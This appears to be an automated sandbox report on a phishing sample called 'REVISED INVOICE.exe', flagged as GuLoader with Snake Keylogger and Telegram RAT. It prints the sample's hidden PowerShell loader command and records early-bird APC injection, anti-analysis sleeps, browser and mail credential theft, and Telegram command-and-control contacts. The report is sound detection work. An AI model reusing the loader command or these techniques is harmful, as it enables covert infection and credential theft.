Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32 Jump to behavior
Source: depoh.lnk.0.dr LNK file: ..\..\..\seniors.tal
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: REVISED INVOICE.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: e:\Windows\System.Core.pdbpdbore.pdb source: powershell.exe, 00000003.00000002.481790461.0000000004E36000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation
barindex
Yara detected GuLoader
Source: Yara match File source: 00000003.00000002.482186551.0000000009778000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Suspicious powershell command line found
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Funktionserklringen=Get-Content -raw 'C:\Users\user\AppData\Local\fona\Kvit\Hyperclimax.Com';$Longers=$Funktionserklringen.SubString(56921,3);.$Longers($Funktionserklringen)"
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Funktionserklringen=Get-Content -raw 'C:\Users\user\AppData\Local\fona\Kvit\Hyperclimax.Com';$Longers=$Funktionserklringen.SubString(56921,3);.$Longers($Funktionserklringen)" Jump to behavior
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_06460AC8 push ebx; retf 3_2_06460AC9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_064636B5 pushfd ; iretd 3_2_064636B6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_06462082 push esp; retf 3_2_06462084
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_064608BA push ebp; ret 3_2_064608E3
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_01D40AC8 push ebx; retf 5_2_01D40AC9
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_01D42082 push esp; retf 5_2_01D42084
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_01D436B5 pushfd ; iretd 5_2_01D436B6
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_01D408BA push ebp; ret 5_2_01D408E3
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 5_2_214B21AC push ebx; iretd 5_2_214B21EA
Drops PE files
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\fona\Kvit\REVISED INVOICE.exe Jump to dropped file
Stores large binary data to the registry
Source: C:\Windows\SysWOW64\msiexec.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Thread delayed: delay time: 600000 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5524 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4352 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2260 Thread sleep time: -240000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2276 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3244 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3720 Thread sleep time: -11990383647911201s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3720 Thread sleep time: -1800000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3724 Thread sleep count: 282 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3724 Thread sleep count: 9537 > 30 Jump to behavior
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Code function: 0_2_00406362 FindFirstFileW,FindClose, 0_2_00406362
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Code function: 0_2_00405810 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 0_2_00405810
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Code function: 0_2_004027FB FindFirstFileW, 0_2_004027FB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Thread delayed: delay time: 600000 Jump to behavior
Source: REVISED INVOICE.exe, REVISED INVOICE.exe.3.dr Binary or memory string: hGfSR
Source: C:\Users\user\Desktop\REVISED INVOICE.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\REVISED INVOICE.exe API call chain: ExitProcess graph end node
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Process token adjusted: Debug Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Early bird code injection technique detected
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created / APC Queued / Resumed: C:\Windows\SysWOW64\msiexec.exe Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread APC queued: target process: C:\Windows\SysWOW64\msiexec.exe Jump to behavior
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\SysWOW64\msiexec.exe base: 1D40000 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Funktionserklringen=Get-Content -raw 'C:\Users\user\AppData\Local\fona\Kvit\Hyperclimax.Com';$Longers=$Funktionserklringen.SubString(56921,3);.$Longers($Funktionserklringen)" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Queries volume information: C:\Windows\SysWOW64\msiexec.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\REVISED INVOICE.exe Code function: 0_2_00406041 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetFolderPathW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW, 0_2_00406041

Stealing of Sensitive Information
barindex
Yara detected Snake Keylogger
Source: Yara match File source: 00000005.00000002.629157566.0000000022131000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected Telegram RAT
Source: Yara match File source: Process Memory Space: msiexec.exe PID: 2504, type: MEMORYSTR
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\SysWOW64\msiexec.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\SysWOW64\msiexec.exe File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\ Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: Process Memory Space: msiexec.exe PID: 2504, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Snake Keylogger
Source: Yara match File source: 00000005.00000002.629157566.0000000022131000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected Telegram RAT
Source: Yara match File source: Process Memory Space: msiexec.exe PID: 2504, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1541088 Sample: REVISED INVOICE.exe Startdate: 24/10/2024 Architecture: WINDOWS Score: 100 37 Found malware configuration 2->37 39 Yara detected GuLoader 2->39 41 Yara detected Telegram RAT 2->41 43 6 other signatures 2->43 7 REVISED INVOICE.exe 4 22 2->7         started        process3 file4 19 C:\Users\user\AppData\...\Hyperclimax.Com, ASCII 7->19 dropped 45 Suspicious powershell command line found 7->45 11 powershell.exe 5 7->11         started        signatures5 process6 file7 21 C:\Users\user\AppData\...\REVISED INVOICE.exe, PE32 11->21 dropped 47 Early bird code injection technique detected 11->47 49 Writes to foreign memory regions 11->49 51 Queues an APC in another process (thread injection) 11->51 53 Powershell drops PE file 11->53 15 msiexec.exe 12 11 11->15         started        signatures8 process9 dnsIp10 23 reallyfreegeoip.org 15->23 25 api.telegram.org 15->25 27 9 other IPs or domains 15->27 29 Tries to steal Mail credentials (via file / registry access) 15->29 31 Tries to harvest and steal browser information (history, passwords, etc) 15->31 signatures11 33 Tries to detect the country of the analysis system (by using the IP) 23->33 35 Uses the Telegram API (likely for C&C communication) 25->35
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
132.226.8.169
 unknown United States
16989 UTMEMUS false
149.154.167.220
 api.telegram.org United Kingdom
62041 TELEGRAMRU true
188.114.97.3
 reallyfreegeoip.org European Union
13335 CLOUDFLARENETUS true
188.114.96.3
 unknown European Union
13335 CLOUDFLARENETUS false
142.250.186.142
 drive.google.com United States
15169 GOOGLEUS false
193.122.130.0
 checkip.dyndns.com United States
31898 ORACLE-BMC-31898US false
142.250.186.97
 drive.usercontent.google.com United States
15169 GOOGLEUS false
132.226.247.73
 unknown United States
16989 UTMEMUS false

Contacted Domains

Name IP Active
drive.google.com 142.250.186.142 true
